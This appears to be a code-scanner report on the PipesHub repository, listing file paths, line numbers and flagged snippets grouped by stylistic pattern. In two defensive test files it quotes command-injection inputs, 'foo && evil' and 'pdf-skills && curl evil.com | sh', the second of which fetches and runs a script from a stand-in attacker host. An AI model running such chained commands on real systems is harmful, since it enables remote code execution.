HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py177 " if (m.reqs > 0 && elapsed < 10000) return false;"CODE
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py178 " if (m.lastDone > 0 && (now - m.lastDone) < 1500 && elapsed < 15000) return false;"CODE
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py179 " if (m.hasMut && (now - m.lastMut) < 1500 && elapsed < 15000) return false;"CODE
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py181 " if (len >= 100 && stable >= 800) return true;"CODE
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py182 " if (elapsed >= 15000 && len > 0 && stable >= 500) return true;"CODE
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py202 if (!container || __groups.has(container)) continue;CODE
HIGH…kend/python/app/connectors/sources/notion/connector.py3688 "avatar_url": null,STRING
HIGH…n/app/agent_loop_lib/sandbox/coding/egress_firewall.py220 "command -v setpriv >/dev/null 2>&1 || fail 'setpriv not found'",CODE
HIGHbackend/python/app/agent_loop_lib/sandbox/coding/e2b.py372 f"test -f {_WORKING_DIR}/package.json || npm init -y", timeout=60.0,CODE
HIGH…end/python/app/agent_loop_lib/sandbox/coding/docker.py774 "mkdir -p /install && npm install --prefix /install --no-save "CODE
HIGHbackend/python/app/agent_loop_lib/serve/playground.py81let currentController = null;CODE
HIGHbackend/python/app/agent_loop_lib/serve/playground.py120 logEvent("error", { error: text || resp.statusText });CODE
HIGHbackend/python/app/agent_loop_lib/serve/playground.py164 err.textContent = "\\n[error] " + (payload.error || JSON.stringify(payload));CODE
HIGHbackend/python/app/agent_loop_lib/serve/playground.py173 currentController = null;CODE
HIGHbackend/python/app/agents/actions/s3/s3.py267 description="ISO format timestamp (e.g., '2024-01-01T00:00:00Z'). If provided, only objects modified aftCODE
HIGH…thon/app/agents/actions/knowledge_hub/knowledge_hub.py242 # or empty list instead of null)COMMENT
HIGHbackend/python/app/agents/actions/jira/jira.py1159 # Remove redundant metadata fields (only if empty/null)COMMENT
HIGHbackend/python/app/models/entities.py412 # rejects these keys, even as null, during a rolling upgrade.COMMENT
HIGHbackend/python/app/sandbox/docker_executor.py264 f"mkdir -p /install && cd /install && "CODE
HIGH…python/app/sources/external/drupal_wiki/drupal_wiki.py460 tags: The existing tags to assign - by exact name not ID. If field is null, tags won't be changed; If empty,STRING
HIGH…python/app/sources/external/drupal_wiki/drupal_wiki.py461 categories: The existing categories to assign - by exact name not ID. If field is null, categories won't be STRING
HIGH…d/python/app/sources/external/confluence/confluence.py9068 "nextPageCursor": null,STRING
HIGH…/sources/external/salesforce/salesforce_data_source.py16201 q: Optional, Performs an SOSL search. If the query string is null, empty, or not given, an SOQL query runs. STRING
HIGHbackend/python/app/api/routes/parsing.py111 "block_container": { ... } | null,STRING
HIGHbackend/python/app/api/routes/parsing.py112 "raw_document": "<serialized DoclingDocument>" | null,STRING
HIGH…d/python/app/services/graph_db/entity_index_queries.py135 scope = f"({scope} OR n.{spec.scope_field} == null)"STRING
HIGH…hon/app/services/messaging/scheduling/drr_scheduler.py105 child.push(key, entry)CODE
HIGH…hon/app/services/messaging/scheduling/drr_scheduler.py296 self._root.push(key, _Entry(item=item, not_before=not_before))CODE
HIGH…ectors/sources/test_dropbox_connector_full_coverage.py963 the ApiError is caught by that inner except. Then 'result' is undefined, causingSTRING
HIGH…ests/unit/connectors/sources/test_dropbox_connector.py2719 the ApiError is caught by that inner except. Then 'result' is undefined, causingSTRING
HIGH…nit/connectors/sources/test_github_teams/test_repos.py161 (Neo4j SET n += null), so absent dates must be omitted, never sent."""STRING
HIGH⚡backend/python/tests/unit/sandbox/test_models.py184 validate_packages(["foo && evil"])CODE
HIGH…/parsers/real_files/test_realfile_markdown_fidelity.py23if (a && b) { run(); }CODE
HIGH⚡…/parsers/real_files/test_realfile_markdown_fidelity.py37 assert code.data == "List<String> names = new ArrayList<>();\nif (a && b) { run(); }"STRING
HIGH⚡…/parsers/real_files/test_realfile_markdown_fidelity.py50 text = "Replace <customer name> with the account owner.\nUse x -> y && y -> z.\n"STRING
HIGH⚡…t/modules/agents/context/test_tool_result_extractor.py111 assert ToolResultExtractor.extract_success_status('{"error": null}') is TrueCODE
HIGH⚡…/graph_db/test_filter_accessible_virtual_record_ids.py241 """`<> true` is NOT null-safe in Cypher — `null <> true` is null, whichSTRING
HIGH⚡…ts/unit/services/graph_db/test_arango_entity_access.py116 assert "LET principals = APPEND([{ from: user_from, connectorId: null }], links, true)" in queryCODE
HIGH⚡…services/graph_db/test_records_by_virtual_record_id.py68 `<> true` is not null-safe in Cypher: `null <> true` is null, which WHERESTRING
HIGH⚡…ts/unit/services/graph_db/test_entity_index_queries.py188 assert "(n.orgId == @scope_id OR n.orgId == null)" in queryCODE
HIGH⚡…ts/unit/services/graph_db/test_entity_index_queries.py199 assert "name: n.groupName || n.name" in _arango_call(arango)[0]CODE
HIGH⚡…/tests/unit/services/skills/test_npm_command_parser.py118 "pdf-skills && curl evil.com | sh",CODE
HIGH…unit/services/messaging/test_redis_streams_consumer.py301 """When JSON parses to None (literal null), message should be skipped."""STRING
HIGH…tegration/test_soft_delete_fetch_full_record_fk_e2e.py26 cd backend/python && pytest tests/integration/test_soft_delete_fetch_full_record_fk_e2e.py -m integrationSTRING
HIGH…ntegration/test_connector_delete_vector_cleanup_e2e.py21 cd backend/python && pytest tests/integration/test_connector_delete_vector_cleanup_e2e.py -m integrationSTRING
HIGH…on/tests/integration/test_soft_delete_checklist_e2e.py30 cd backend/python && pytest tests/integration/test_soft_delete_checklist_e2e.py -m integrationSTRING
HIGH…on/tests/integration/test_stranded_record_sweep_e2e.py24 cd backend/python && pytest tests/integration/test_stranded_record_sweep_e2e.py -m integrationSTRING
HIGH…thon/tests/integration/test_soft_delete_chat_fk_e2e.py24 cd backend/python && pytest tests/integration/test_soft_delete_chat_fk_e2e.py -m integrationSTRING
HIGH…python/tests/integration/test_record_visibility_e2e.py24 cd backend/python && pytest tests/integration/test_record_visibility_e2e.py -m integrationSTRING
HIGHbackend/python/tests/integration/test_trash_list_e2e.py31 cd backend/python && pytest tests/integration/test_trash_list_e2e.py -m integrationSTRING
HIGH…thon/tests/integration/test_soft_delete_restore_e2e.py726 "UPDATE @key WITH { isDeleted: null } IN records OPTIONS { keepNull: false }",CODE
HIGH…thon/tests/integration/test_soft_delete_restore_e2e.py39 cd backend/python && pytest tests/integration/test_soft_delete_restore_e2e.py -m integrationSTRING
HIGH…thon/tests/integration/test_soft_delete_vectors_e2e.py28 cd backend/python && pytest tests/integration/test_soft_delete_vectors_e2e.py -m integrationSTRING
29 more matches not shown…
Structural Annotation Overuse198 hits · 321 pts
SeverityFileLineSnippetContext
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md766 # Step 1: Ensure external client is initializedCOMMENT
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md770 # Step 2: Get users from external API (if applicable)COMMENT
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md773 # Step 3: Get active users from database to filterCOMMENT
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md777 # Step 4: Process users/entities and sync dataCOMMENT
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md795 # Step 1: Extract record metadataCOMMENT
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md798 # Step 2: Download content from external APICOMMENT
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md801 # Step 3: Return streaming responseCOMMENT
LOW⚡…)/workspace/groups/components/create-group-sidebar.tsx74 // Step 1: Create the groupCOMMENT
LOW⚡…)/workspace/groups/components/create-group-sidebar.tsx77 // Step 2: Add users if any were selectedCOMMENT
LOW⚡frontend/tests/e2e/chat/chat-ask-user-question.spec.ts862 // Step 1: select first option, click NextCOMMENT
LOW⚡frontend/tests/e2e/chat/chat-ask-user-question.spec.ts867 // Step 2: wait for new radios to render, select first optionCOMMENT
LOW⚡…sponse-validation/auth/integration_test_userAccount.py350 # Step 1: Change to temporary passwordCOMMENT
LOW…sponse-validation/auth/integration_test_userAccount.py364 # Step 2: Login with temporary password and restore originalCOMMENT
LOW⚡…ules/configuration_manager/controller/cm_controller.ts2235 // Step 2: Remove BEGIN and END certificate markers if presentCOMMENT
LOW⚡…ules/configuration_manager/controller/cm_controller.ts2243 // Step 3: Ensure the certificate content is cleanCOMMENT
LOW…pp/connectors/core/base/connector/connector_service.py434 # Step 1: ensure the USER -> APP edge (``USER_APP_RELATION``) exists.COMMENT
LOW⚡…pp/connectors/core/base/connector/connector_service.py457 # Step 2: upsert the ConnectorGroup and the USER -> GROUP membershipCOMMENT
LOW⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py191// Step 1: Find tab groups by locating active tab indicators and their siblings.COMMENT
LOW⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py210// Step 2: Find all panel containers that may receive swapped content.COMMENT
LOW…/python/app/connectors/sources/web/crawl4ai_fetcher.py224// Step 3: For each tab group, click every tab, snapshot panel content,COMMENT
LOW…/python/app/connectors/sources/web/crawl4ai_fetcher.py247// Step 4: Force all panels visible.COMMENT
LOWbackend/python/app/connectors/sources/web/connector.py864 # Step 2: create record group with permissionsCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py524 # Step 1: Sync usersCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py528 # Step 2: Sync user groups and their membersCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py532 # Step 3: Sync record groups (drives) for usersCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py539 # Step 4: Settle the folder filter scope across all users before any ofCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py547 # Step 5: Process user drives in batches (includes personal drive and shared drives)COMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py562 # Step 6: Remove what changed sync filters now leave outCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py565 # Step 7: Grant external collaborators app membership. Runs after the fileCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py570 # Step 8: drop membership for collaborators whose shares were revoked at theCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py1289 # Step 2: Create "My Drive" record groups for each userCOMMENT
LOW…/app/connectors/sources/google/drive/team/connector.py1243 # Step 1: Sync shared drivesCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1922 # Step 1: Sync usersCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1926 # Step 2: Sync user groups and their membersCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1930 # Step 3: Sync record groups for usersCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1934 # Step 4: Process user mailboxes in batchesCOMMENT
LOW⚡…app/connectors/sources/microsoft/onedrive/connector.py1906 # Step 1: Sync usersCOMMENT
LOW⚡…app/connectors/sources/microsoft/onedrive/connector.py1910 # Step 2: Sync user groups and their membersCOMMENT
LOW⚡…app/connectors/sources/microsoft/onedrive/connector.py1914 # Step 3: Process user drives with yielding for non-blocking operationCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py3802 # Step 1: Sync usersCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py3806 # Step 2: Sync user groupsCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py3814 # Step 3: Discover and sync sitesCOMMENT
LOW…ctors/sources/microsoft/sharepoint_online/connector.py3853 # Step 4: Process sites in batchesCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py613 # Step 1: Get active users from systemCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py619 # Step 2: Fetch and sync Linear usersCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py625 # Step 3: Get team_ids filter and fetch teamsCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py643 # Step 4: Build email map from already-synced users for team member lookupCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py650 # Step 5: Fetch and sync teams (as both UserGroups and RecordGroups)COMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py685 # Step 8: Sync attachments separately (Linear doesn't update issue.updatedAt when attachments are added)COMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py688 # Step 9: Sync documents separately (Linear doesn't update issue.updatedAt when documents are added)COMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py691 # Step 10: Sync projectsCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py694 # Step 11: Sync deleted issuesCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py697 # Step 12: Sync deleted projectsCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py700 # Step 13: Backfill placeholder parent stubs left by date/incremental filtersCOMMENT
LOW…kend/python/app/connectors/sources/linear/connector.py668 # Step 7: Sync issues for teamsCOMMENT
LOW⚡backend/python/app/connectors/sources/rss/connector.py406 # Step 2: Process each feedCOMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py536 # Step 1: Sync all usersCOMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py540 # Step 2: Sync all user groups (roles in BookStack)COMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py544 # Step 3: Sync record groups (books and shelves)COMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py548 # Step 4: Sync all records (pages, chapters, attachments)COMMENT
138 more matches not shown…
Verbosity Indicators192 hits · 310 pts
SeverityFileLineSnippetContext
LOW⚡…)/workspace/groups/components/create-group-sidebar.tsx74 // Step 1: Create the groupCOMMENT
LOW⚡…)/workspace/groups/components/create-group-sidebar.tsx77 // Step 2: Add users if any were selectedCOMMENT
LOW⚡frontend/tests/e2e/chat/chat-ask-user-question.spec.ts862 // Step 1: select first option, click NextCOMMENT
LOW⚡frontend/tests/e2e/chat/chat-ask-user-question.spec.ts867 // Step 2: wait for new radios to render, select first optionCOMMENT
LOW⚡…sponse-validation/auth/integration_test_userAccount.py350 # Step 1: Change to temporary passwordCOMMENT
LOW…sponse-validation/auth/integration_test_userAccount.py364 # Step 2: Login with temporary password and restore originalCOMMENT
LOW⚡…ules/configuration_manager/controller/cm_controller.ts2235 // Step 2: Remove BEGIN and END certificate markers if presentCOMMENT
LOW⚡…ules/configuration_manager/controller/cm_controller.ts2243 // Step 3: Ensure the certificate content is cleanCOMMENT
LOW…pp/connectors/core/base/connector/connector_service.py434 # Step 1: ensure the USER -> APP edge (``USER_APP_RELATION``) exists.COMMENT
LOW⚡…pp/connectors/core/base/connector/connector_service.py457 # Step 2: upsert the ConnectorGroup and the USER -> GROUP membershipCOMMENT
LOW⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py191// Step 1: Find tab groups by locating active tab indicators and their siblings.COMMENT
LOW⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py210// Step 2: Find all panel containers that may receive swapped content.COMMENT
LOW…/python/app/connectors/sources/web/crawl4ai_fetcher.py224// Step 3: For each tab group, click every tab, snapshot panel content,COMMENT
LOW…/python/app/connectors/sources/web/crawl4ai_fetcher.py247// Step 4: Force all panels visible.COMMENT
LOWbackend/python/app/connectors/sources/web/connector.py864 # Step 2: create record group with permissionsCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py524 # Step 1: Sync usersCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py528 # Step 2: Sync user groups and their membersCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py532 # Step 3: Sync record groups (drives) for usersCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py539 # Step 4: Settle the folder filter scope across all users before any ofCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py547 # Step 5: Process user drives in batches (includes personal drive and shared drives)COMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py562 # Step 6: Remove what changed sync filters now leave outCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py565 # Step 7: Grant external collaborators app membership. Runs after the fileCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py570 # Step 8: drop membership for collaborators whose shares were revoked at theCOMMENT
LOW⚡…/app/connectors/sources/google/drive/team/connector.py1289 # Step 2: Create "My Drive" record groups for each userCOMMENT
LOW…/app/connectors/sources/google/drive/team/connector.py1243 # Step 1: Sync shared drivesCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1922 # Step 1: Sync usersCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1926 # Step 2: Sync user groups and their membersCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1930 # Step 3: Sync record groups for usersCOMMENT
LOW⚡…/app/connectors/sources/google/gmail/team/connector.py1934 # Step 4: Process user mailboxes in batchesCOMMENT
LOW⚡…app/connectors/sources/microsoft/onedrive/connector.py1906 # Step 1: Sync usersCOMMENT
LOW⚡…app/connectors/sources/microsoft/onedrive/connector.py1910 # Step 2: Sync user groups and their membersCOMMENT
LOW⚡…app/connectors/sources/microsoft/onedrive/connector.py1914 # Step 3: Process user drives with yielding for non-blocking operationCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py3802 # Step 1: Sync usersCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py3806 # Step 2: Sync user groupsCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py3814 # Step 3: Discover and sync sitesCOMMENT
LOW…ctors/sources/microsoft/sharepoint_online/connector.py3853 # Step 4: Process sites in batchesCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py613 # Step 1: Get active users from systemCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py619 # Step 2: Fetch and sync Linear usersCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py625 # Step 3: Get team_ids filter and fetch teamsCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py643 # Step 4: Build email map from already-synced users for team member lookupCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py650 # Step 5: Fetch and sync teams (as both UserGroups and RecordGroups)COMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py685 # Step 8: Sync attachments separately (Linear doesn't update issue.updatedAt when attachments are added)COMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py688 # Step 9: Sync documents separately (Linear doesn't update issue.updatedAt when documents are added)COMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py691 # Step 10: Sync projectsCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py694 # Step 11: Sync deleted issuesCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py697 # Step 12: Sync deleted projectsCOMMENT
LOW⚡…kend/python/app/connectors/sources/linear/connector.py700 # Step 13: Backfill placeholder parent stubs left by date/incremental filtersCOMMENT
LOW…kend/python/app/connectors/sources/linear/connector.py668 # Step 7: Sync issues for teamsCOMMENT
LOW⚡backend/python/app/connectors/sources/rss/connector.py406 # Step 2: Process each feedCOMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py536 # Step 1: Sync all usersCOMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py540 # Step 2: Sync all user groups (roles in BookStack)COMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py544 # Step 3: Sync record groups (books and shelves)COMMENT
LOW⚡…d/python/app/connectors/sources/bookstack/connector.py548 # Step 4: Sync all records (pages, chapters, attachments)COMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py461 # Step 1: Sync usersCOMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py464 # Step 2: Sync all data sources (Search API returns all, regardless of hierarchy)COMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py467 # Step 3: Sync all pages (Search API returns all, regardless of hierarchy)COMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py471 # Step 4: Reconcile parent stubs the passes above left behind. DeliberatelyCOMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py1961 # Step 3: Delegate parsing to NotionBlockParser with callbacksCOMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py2798 # Step 1: Batch lookup all external IDsCOMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py2808 # Step 2: Build ChildRecord for existing recordsCOMMENT
132 more matches not shown…
Modern AI Meta-Vocabulary72 hits · 233 pts
SeverityFileLineSnippetContext
MEDIUMfrontend/tests/e2e/README.md128│ ├── ai-models.helper.ts # a real chat + embedding model for answering testsCODE
MEDIUMchangelog/0.5.0.md21First-class provider support for OpenRouter ([#2621](https://github.com/pipeshub-ai/pipeshub-ai/pull/2621)) and for LiteCODE
MEDIUM⚡changelog/0.1.0-alpha.md1# 0.1.0-alpha — The founding release: enterprise search platform, RAG pipeline, and a fleet of connectors from zeroCOMMENT
MEDIUM⚡changelog/0.1.0-alpha.md7This is PipesHub's first public release, and its notes enumerate the project's entire initial development history — nearCODE
MEDIUM⚡changelog/0.1.0-alpha.md17### RAG pipeline: from first Chat API to token-level streamingCOMMENT
MEDIUM⚡changelog/0.1.0-alpha.md19The query service grew from an initial Chat API ([#33](https://github.com/pipeshub-ai/pipeshub-ai/pull/33) — @abhishekgmCODE
MEDIUM⚡changelog/0.1.0-alpha.md35Beyond RAG, the release seeds the agent runtime: agent tools ([#522](https://github.com/pipeshub-ai/pipeshub-ai/pull/522CODE
MEDIUM⚡changelog/0.1.0-alpha.md35Beyond RAG, the release seeds the agent runtime: agent tools ([#522](https://github.com/pipeshub-ai/pipeshub-ai/pull/522CODE
MEDIUM⚡changelog/0.1.0-alpha.md35Beyond RAG, the release seeds the agent runtime: agent tools ([#522](https://github.com/pipeshub-ai/pipeshub-ai/pull/522CODE
MEDIUM…ration-tests/permissions/test_user_lifecycle_access.py73 del ai_models_configured # ordering only: indexing needs an LLM and an embedding modelCODE
MEDIUMintegration-tests/permissions/test_team_access.py58 del ai_models_configured # ordering only: indexing needs an LLM and an embedding modelCODE
MEDIUMintegration-tests/permissions/test_sharing_access.py77 del ai_models_configured # ordering only: indexing needs an LLM and an embedding modelCODE
MEDIUM…se-search/search/integration_test_permission_matrix.py190 del ai_models_configured # ordering only: indexing needs an LLM and an embedding modelCODE
MEDIUM…alidation/connector/integration_test_record_content.py82 # the per-block Citation ID / Block Index scaffolding is stripped from the string.COMMENT
MEDIUMintegration-tests/helper/ai_models_setup.py93# Part of the product's refusal to change or delete the embedding model whileCOMMENT
MEDIUM…/modules/enterprise_search/validators/es_validators.ts447// Agent create (POST /agents/create) — gateway guardrails; Python enforces semanticsCOMMENT
MEDIUMbackend/python/app/query_main.py213 # Warm up the embedding model in the background. The defaultCOMMENT
MEDIUM⚡…python/app/connectors/sources/drupal_wiki/connector.py371 # Sync orchestrationCOMMENT
MEDIUM…ectors/sources/atlassian/jira_data_center/connector.py648 # "init failed" at the top of the orchestration.COMMENT
MEDIUM⚡…/python/app/connectors/sources/slack/team/connector.py612 # 1. Main orchestrationCOMMENT
MEDIUM⚡…n/app/connectors/sources/slack/individual/connector.py701 # 1. Main orchestrationCOMMENT
MEDIUM…end/python/app/agent_loop_lib/agent/spawn_scheduler.py82# the dependent child's context window well under pressure (system promptCOMMENT
MEDIUMbackend/python/app/agent_loop_lib/agent/__init__.py799 # --- Guarded, hook-wrapped LLM call. Parallel guardrails: inputCOMMENT
MEDIUMbackend/python/app/agent_loop_lib/agent/__init__.py800 # guardrails race the LLM call itself via asyncio.wait(FIRST_EXCEPTION)COMMENT
MEDIUM…app/agent_loop_lib/modules/providers/budget/pricing.py63# Total context window per model, in tokens. Drives the Phase 1 contextCOMMENT
MEDIUM…n/app/agent_loop_lib/modules/stores/checkpoint/base.py38 messages: list[Message] # full context window at checkpoint timeCODE
MEDIUMbackend/python/app/agents/mcp/servers/hubspot.py5# Developer MCP server used for scaffolding apps/CMS assets locally.COMMENT
MEDIUM⚡backend/python/app/agents/agent_loop/section_order.py69 # FRONTIER where the function schemas are sufficient scaffolding.COMMENT
MEDIUM⚡…/python/app/agents/agent_loop/skills/semantic_index.py49# Skill vectors are pure functions of the skill's text and the embedding model,COMMENT
MEDIUM…ckend/python/app/agents/actions/artifacts/artifacts.py432 # Binary in the context window is wasted tokens at best and canCOMMENT
MEDIUMbackend/python/app/utils/render_budget.py29# Share of the model's context window one fetch may spend. The rest has toCOMMENT
MEDIUMbackend/python/app/utils/render_budget.py36# A model whose configuration reports an optimistic context window -- unknownCOMMENT
MEDIUMbackend/python/app/utils/user_errors.py444 # storage wrapper is the embedding model's.COMMENT
MEDIUMbackend/python/app/utils/streaming.py713# RAG content), the frontend would render attacker-controlled download cardsCOMMENT
MEDIUMbackend/python/app/utils/streaming.py723# Short-form variant LLMs sometimes hallucinate (no `(url){meta}` block).COMMENT
MEDIUMbackend/python/app/api/routes/health.py1009# What the platform assumes when a model's context window is not configuredCOMMENT
MEDIUMbackend/python/app/api/routes/health.py1012# and which prompt scaffolding the model gets (`model_tier.py`), so an unsetCOMMENT
MEDIUMbackend/python/app/api/routes/health.py1523 # Create embedding modelCOMMENT
MEDIUMbackend/python/app/api/routes/health.py1574 # `isMultimodal` on an embedding model is what makes indexing sendCOMMENT
MEDIUMbackend/python/app/telemetry/modules/http_metrics.py14# Buckets span fast cache hits to slow LLM/RAG calls.COMMENT
MEDIUM…kend/python/app/modules/retrieval/retrieval_service.py209 # Dense embedding model cache: re-read config on every call to detectCOMMENT
MEDIUMbackend/python/app/modules/transformers/vectorstore.py207# actually rejects input is the embedding model's, in *tokens*. The two are notCOMMENT
MEDIUM…nd/python/app/modules/indexing/entity_index_rebuild.py80# While waiting between ticks, how often to check for an embedding modelCOMMENT
MEDIUM…/app/services/embeddings/multimodal/gemini_provider.py25# gemini-embedding-2 is the first Gemini embedding model that accepts imageCOMMENT
MEDIUM…hon/app/services/messaging/kafka/handlers/ai_config.py87 # Refresh the embedding model instance with new configurationCOMMENT
MEDIUMbackend/python/app/services/resource_governor/policy.py67# CPUs withheld from the heavy-parse ceiling when a local embedding model isCOMMENT
MEDIUM⚡…s/unit/connectors/sources/test_jira_cloud_connector.py493# run_sync() orchestrationCOMMENT
MEDIUM⚡…rs/sources/test_jira_data_center_personal_connector.py256# run_sync orchestrationCOMMENT
MEDIUM⚡…t/connectors/sources/test_linear_connector_coverage.py878# Sync orchestrationCOMMENT
MEDIUM⚡…t/connectors/sources/test_gitlab_personal_connector.py546# run_sync orchestrationCOMMENT
MEDIUM⚡…connectors/sources/test_web_connector_comprehensive.py818# Permissions, sync orchestration, crawl/fetch (from gaps coverage merge)COMMENT
MEDIUM⚡…/connectors/sources/test_jira_data_center_connector.py418# run_sync (orchestration smoke)COMMENT
MEDIUM⚡…on/tests/unit/connectors/sources/test_web_connector.py1279# Deep sync: run_sync orchestrationCOMMENT
MEDIUM⚡…ts/unit/connectors/sources/test_deep_sync_bookstack.py120# run_sync orchestrationCOMMENT
MEDIUM⚡…tests/unit/connectors/sources/test_linear_connector.py458# LinearConnector - Sync orchestrationCOMMENT
MEDIUM⚡…tests/unit/connectors/sources/test_linear_connector.py1350# Sync orchestrationCOMMENT
MEDIUM⚡…n/tests/unit/connectors/sources/test_jira_deep_sync.py140# run_sync orchestrationCOMMENT
MEDIUM⚡…nnectors/sources/test_jira_cloud_personal_connector.py288# run_sync orchestrationCOMMENT
MEDIUM⚡…tests/unit/connectors/sources/test_linear_deep_sync.py131# run_sync orchestrationCOMMENT
MEDIUM⚡…ests/unit/connectors/sources/google/test_drive_team.py498# run_sync orchestrationCOMMENT
12 more matches not shown…
AI Slop Vocabulary110 hits · 218 pts
SeverityFileLineSnippetContext
MEDIUMfrontend/package-lock.json15330 "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz",CODE
MEDIUMfrontend/app/mock-data/chat-chunk.json3 "accumulated": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) policy is anCODE
MEDIUMfrontend/app/mock-data/chat-chunk.json3 "accumulated": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) policy is anCODE
MEDIUMfrontend/app/mock-data/chat-complete.json25 "content": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) poliCODE
MEDIUMfrontend/app/mock-data/chat-complete.json25 "content": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) poliCODE
MEDIUMfrontend/app/mock-data/chat-archived.json71 "content": "## Customer Feedback on Latency Issues\n\n### Overview\nPipesHub has collected various cCODE
MEDIUMfrontend/app/mock-data/chat-archived.json118 "content": "## Customer Feedback on Latency Issues\n\n### Overview\nPipesHub has received various cuCODE
MEDIUM…/(main)/chat/components/message-area/chat-response.tsx497 // case (trailing text IS the final answer) seamless: it grows in theCOMMENT
MEDIUMintegration-tests/pytest.ini27# AI models, agents, MCP and the agent harness against a real model. NightlyCOMMENT
MEDIUM…gration-tests/connectors/demo/demo_integration_test.py64# The harness module pulls in only httpx and yaml; the connector module wouldCOMMENT
MEDIUMintegration-tests/connectors/gitlab/conftest.py273 # record permission of the account the harness logs in as, which is onlyCOMMENT
MEDIUM⚡…ion-tests/connectors/linear/linear_integration_test.py1024# TestLinearEdges — comprehensive edge inventory auditCOMMENT
LOW…/response-validation/mcp/golden/mcp_surface_3.0.1.json10 "instructions": "# PipesHub MCP — instructions for the LLM\n\nPipesHub is the user's workplace AI platform. It indexesCODE
